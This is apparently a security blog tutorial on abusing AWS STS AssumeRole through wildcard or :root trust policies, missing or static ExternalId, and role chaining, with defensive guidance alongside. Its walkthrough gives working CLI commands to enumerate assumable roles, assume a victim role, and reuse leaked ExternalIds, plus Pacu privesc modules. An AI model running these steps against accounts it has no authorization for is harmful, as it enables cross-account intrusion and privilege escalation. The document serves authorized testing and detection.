Disclaimer: This article is for education and authorized testing only. Only attack AWS accounts you own or have explicit written permission to assess. Unauthorized access to cloud resources is illegal in most jurisdictions and violates the AWS Acceptable Use Policy.
Introduction / Overview
AWS Security Token Service (STS) is the engine behind almost every privilege boundary in AWS. When an EC2 instance reads its metadata, when a Lambda assumes its execution role, or when a SaaS vendor reaches into your account, the underlying mechanism is sts:AssumeRole. Because STS issues temporary credentials, defenders often treat it as benign — but a misconfigured trust policy turns STS into the cleanest lateral-movement and privilege-escalation primitive in the entire cloud.
This article walks through how attackers abuse sts:AssumeRole, why overly broad trust policies and missing ExternalId create a confused deputy problem, and how blue teams detect and shut it down.
How it works / Background
An IAM role has two distinct policy documents:
- Permission policy — what the role can do (e.g.
s3:GetObject). - Trust policy (the
AssumeRolePolicyDocument) — who is allowed to assume it.
Both must allow the action for an AssumeRole call to succeed. A trust policy looks like this:
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": { "AWS": "arn:aws:iam::111111111111:root" },
"Action": "sts:AssumeRole",
"Condition": {
"StringEquals": { "sts:ExternalId": "a-shared-secret" }
}
}]
}JSONThe classic vulnerability is a wildcard principal:
"Principal": { "AWS": "*" }JSONAny principal in any AWS account on Earth can now assume the role. Slightly subtler is "AWS": "arn:aws:iam::111111111111:root", which trusts every identity in account 111111111111, not a specific role or user — a frequent over-grant.
The confused deputy problem arises with third-party (cross-account) integrations. A monitoring vendor assumes a role in your account. If their role ARN is predictable and there is no ExternalId, an attacker who is also a customer of that vendor can trick the vendor's deputy into assuming your role. ExternalId fixes this: it is a shared secret the vendor must pass on every AssumeRole call, so a third party cannot impersonate the deputy without knowing your unique ID.
This maps to MITRE ATT&CK T1078.004 (Valid Accounts: Cloud Accounts) and T1548 (Abuse Elevation Control Mechanism).
Prerequisites / Lab setup
You need:
- The AWS CLI v2 configured with low-privileged starting credentials (the "foothold").
jqfor parsing.- Optionally Pacu and
enumerate-iamfor automated enumeration.
A safe lab is two AWS accounts you control: a target (111111111111) holding a role victim-role, and an attacker (222222222222). Create a deliberately weak trust policy on the target that trusts 222222222222:root with no ExternalId.
Walkthrough / PoC
1. Identify your current identity
aws sts get-caller-identityBash{
"UserId": "AIDA...",
"Account": "222222222222",
"Arn": "arn:aws:iam::222222222222:user/recon"
}JSON2. Enumerate assumable roles
If you can list IAM, dump every role and grep its trust policy for weak principals:
aws iam list-roles \
--query 'Roles[].{name:RoleName,trust:AssumeRolePolicyDocument}' \
--output json | jq '.[] | select(
(.trust.Statement[].Principal.AWS // empty) | tostring | test("\\*|:root")
)'BashWithout IAM read access, brute-force role names with enumerate-iam or simply attempt the assume — STS error messages confirm whether a role exists and whether you are trusted.
3. Assume the role
aws sts assume-role \
--role-arn arn:aws:iam::111111111111:role/victim-role \
--role-session-name pentest-pivotBashA successful response returns AccessKeyId, SecretAccessKey, and SessionToken. Export them:
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."
aws sts get-caller-identity # now shows the assumed role in 111111111111Bash4. Abuse a confused-deputy integration
If the role requires an ExternalId and you discovered it (leaked in IaC, CI logs, or the vendor's docs that reuse a static value), pass it:
aws sts assume-role \
--role-arn arn:aws:iam::111111111111:role/vendor-integration \
--role-session-name deputy \
--external-id "ACME-12345-static"BashStatic or guessable ExternalId values are common with smaller SaaS vendors and effectively void the protection.
5. Role chaining for deeper pivots
Assumed credentials can assume the next role if that role trusts the one you hold — this is role chaining. Note STS caps chained sessions at one hour (DurationSeconds cannot exceed 3600 when chaining). Pacu automates the graph traversal:
# Inside Pacu
run iam__enum_roles
run iam__privesc_scanBashiam__privesc_scan flags the ~21 known IAM privilege-escalation paths, several of which terminate in an AssumeRole to an admin role.
Mermaid diagram

The diagram shows the decision flow from a foothold through trust-policy evaluation, optional ExternalId checks, and role chaining toward high-value loot.
Detection & Defense (Blue Team)
Defense matters as much as the attack — here is how to find and stop it.
Harden trust policies. Never use "Principal": { "AWS": "*" }. Scope to a specific role ARN, not :root, and always add an ExternalId for third-party access. AWS's own confused deputy guidance recommends aws:SourceAccount / aws:SourceArn conditions for service-to-service trust.
Audit continuously. Use IAM Access Analyzer, which flags roles trusting external or wildcard principals:
aws accessanalyzer list-findings \
--analyzer-arn <ANALYZER_ARN> \
--filter '{"resourceType":{"eq":["AWS::IAM::Role"]}}'BashYou can also lint trust policies in CI with Prowler (prowler aws -c iam_role_cross_account_*) or cloudsplaining.
Hunt in CloudTrail. Every assume is logged as AssumeRole from sts.amazonaws.com. Alert on cross-account assumptions and on sourceIPAddress outside your known ranges:
aws cloudtrail lookup-events \
--lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRole \
--query 'Events[].CloudTrailEvent' --output text | \
jq -r 'select(.recipientAccountId != .userIdentity.accountId)
| [.eventTime, .userIdentity.arn, .requestParameters.roleArn] | @tsv'BashKey signals: an AssumeRole whose userIdentity.accountId differs from recipientAccountId, bursts of role chaining (sessions issued with ASIA keys assuming further roles), and AssumeRole events lacking the expected externalId request parameter.
Use SCPs and permission boundaries. A Service Control Policy can deny sts:AssumeRole to untrusted external accounts org-wide, and condition keys like aws:PrincipalOrgID constrain trust to your own organization:
{ "Condition": { "StringEquals": { "aws:PrincipalOrgID": "o-abc123" } } }JSONLimit session duration and enforce MFA. Add "Bool": {"aws:MultiFactorAuthPresent": "true"} to sensitive trust policies, and keep MaxSessionDuration short. For more on cutting blast radius, see AWS IAM privilege escalation paths.
Conclusion
sts:AssumeRole is not a bug — it is the intended cross-account mechanism. The danger is entirely in the trust policy: wildcard or :root principals, missing or static ExternalId, and unmonitored role chaining quietly turn temporary credentials into full account compromise. Treat every trust policy as a security boundary, instrument CloudTrail for cross-account assumptions, and let IAM Access Analyzer be your continuous tripwire.
For broader context, see enumerating IMDS and cloud metadata and abusing Azure managed identities.
References
- MITRE ATT&CK — T1078.004 Valid Accounts: Cloud Accounts
- MITRE ATT&CK — T1548 Abuse Elevation Control Mechanism
- AWS Docs — The confused deputy problem
- AWS Docs — Roles terms and concepts (role chaining, ExternalId)
- HackTricks Cloud — AWS STS / AssumeRole privilege escalation
- Rhino Security Labs — Pacu and AWS IAM privesc methods
- Prowler and Cloudsplaining
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments